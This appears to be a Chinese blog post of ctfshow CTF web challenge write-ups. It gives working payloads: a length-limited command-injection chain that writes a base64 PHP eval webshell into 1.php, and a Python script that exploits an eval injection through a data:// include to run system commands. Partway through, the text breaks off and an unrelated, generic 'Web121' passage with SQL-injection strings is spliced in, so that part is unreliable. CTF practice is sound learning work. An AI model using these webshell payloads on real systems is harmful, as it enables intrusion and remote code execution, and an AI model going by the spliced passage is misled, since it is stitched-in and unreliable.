ctfshow web学习记录

本文分享了作者在多个CTF比赛中的Web挑战经验,包括利用命令执行漏洞、SQL注入、文件包含等技巧破解挑战的过程,并提供了详细的解题思路。

我们要学习且不断努力,在ctfshow我又学习到了很多东西,弥补了自己不少基础

目录

七夕杯-web

1.web签到

第一种解法:

​编辑

第二种解法:

2.easy_calc

3.easy_cmd

4.easy_sql

_萌新

web1-8

web9-21

获得百分之百的快乐

萌新赛签到题

WEB AK赛 签到_观己

1024_WEB签到

月饼杯||

web签到

新春欢乐赛

热身

web1 这里面的链接的链接值得学习

单身杯

web签到

摆烂杯

一行代码

36D练手赛

不知所措.jpg



七夕杯-web

1.web签到

这个我是看别人的wp,第一次遇到这种有点懵,仅支持较短命令执行,且不会回显。
通过测试我们可以知道他只能运行7位以内及7位的命令,还是挺短的

第一种解法:

参考:yu22x的博客

通过将命令写进文件中,访问得到命令运行的内容

ls />a

运行后,去访问http://url/api/a得到a文件,查看得到命令运行的内容

 从这里我们就看到的了flag,但是因为长度限制的问题,我们就要运用linux系统的通配符

cat /*>a 
这是我们正常思维执行,通过cat命令来读取/目录下所有文件,但是这一串的长度已经大于7了
有没有刚好小一位的呢,有,就是nl
正好我们进行扩展一下,当cat命令不能使用,我们还能使用tac、more、nl之类的
以及还能使用通配符列如cat命令是在/usr/bin/cat这里
我们就能使用/???/???/c?t这样之类的来充cat使用

最终payload为

nl /*>a

第二种解法:

这个我就不详细讲了可以参考CTF长度限制命令执行

payload为

>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0

 这个相当于执行0这个文件,0这个文件按照命令,将一个木马写进了,1.php里面

就是命令执行的思路

2.easy_calc

现将代码都截取下来

<?php


if(check($code)){

    eval('$result='."$code".";");
    echo($result);    
}

function check(&$code){

    $num1=$_POST['num1'];
    $symbol=$_POST['symbol'];
    $num2=$_POST['num2'];

    if(!isset($num1) || !isset($num2) || !isset($symbol) ){
        
        return false;
    }

    if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
        return false;
    }

    if(preg_match("/^[\+\-\*\/]$/", $symbol)){
        $code = "$num1$symbol$num2";
        return true;
    }

    return false;
}

分析一下,用POST的方式传进去三个参数分别为num1,sysmbo1,num2

preg_match函数进行匹配,三个参数的内容里面必须有/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/  中最少一个符号否则就输出false

匹配sysmbo1中,必须有+ / * - 之一,之后将三个参数和在一块,eval()运行

这让我想起了data的伪协议,正好没有被过滤,真的有这么巧吗

我们尝试一下

写一个脚本,方便修改尝试

额,忘记说明了,这三个参数都是calc.php的,大家通过抓包的时候就可以知道

我是这样写的

import requests

s = requests.Session()
url = "http://df917a09-dfd8-4022-9fab-27489fccbdf5.challenge.ctf.show/calc.php"

data = {
    'num1': 'include "data:/',
    'symbol': '/',
    'num2': 'text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsnMSddKTs/Pg"'
}

url2=url+'?1=system("ls");'
a = s.post(url2, data=data).text
print(a)

得到了,这三个文件
calc.php
index.php
jquery.min.js

看来没有我们的flag

看看根目录

 有这么一些东西,也是没有直接显示我们的flag

但是吧,怎么就突然多了一个secret目录我很好奇,ls看一下

### CTFShow Web121 题目解题思路 CTFShow 平台上的 Web 类型题目通常涉及常见的安全漏洞利用以及防御技巧的学习。对于 Web121 这道题目,虽然具体描述未提供,但从以往的经验来看,这类题目可能涉及到 SQL 注入、文件上传漏洞、命令执行或其他常见攻击向量。 以下是基于已有经验推测的解题方向: #### 可能的安全漏洞分析 Web121 的设计可能是围绕 `intval()` 函数展开的逻辑验证问题[^2]。`intval()` 是 PHP 中用于强制类型转换的一个函数,在处理输入数据时可能会引入安全隐患。例如: - 如果程序依赖于 `intval()` 来过滤用户输入并假设其安全性,则可能存在绕过机制。 - 用户可以通过构造特定参数来触发预期之外的行为。 #### 测试方法与工具 为了找到潜在漏洞,可以尝试以下几种方式: 1. **SQL Injection**: 使用单引号 `'` 或其他特殊字符测试是否存在注入点。 ```sql ' OR '1'='1 -- ``` 2. **Type Juggling**: 利用 PHP 的弱类型特性,通过传递不同形式的数据(如字符串中的数字部分),观察返回结果的变化。 ```php intval('1abc'); // 输出 1 ``` 3. **Boundary Testing**: 对边界条件进行探索,比如最小值 `-PHP_INT_MAX`, 最大值 `PHP_INT_MAX`. 4. **Error-Based Debugging**: 查看错误消息是否泄露敏感信息或者帮助定位问题所在位置. #### 实际操作建议 当面对类似情况时, 应该遵循如下原则: - 尝试多种payload组合以覆盖更多可能性. - 记录每次请求及其响应以便后续分析对比差异之处. ```python import requests url = "http://ctfshow.com/web121" for i in range(-10, 10): payload = f"?id={i}" r = requests.get(url + payload) print(r.text[:50]) # 打印前五十个字符查看变化 ``` 上述脚本展示了如何自动化发送GET请求给目标URL,并附带不同的ID参数值来进行批量试探。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

练习两年半的篮球选..哦不对安全选手

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值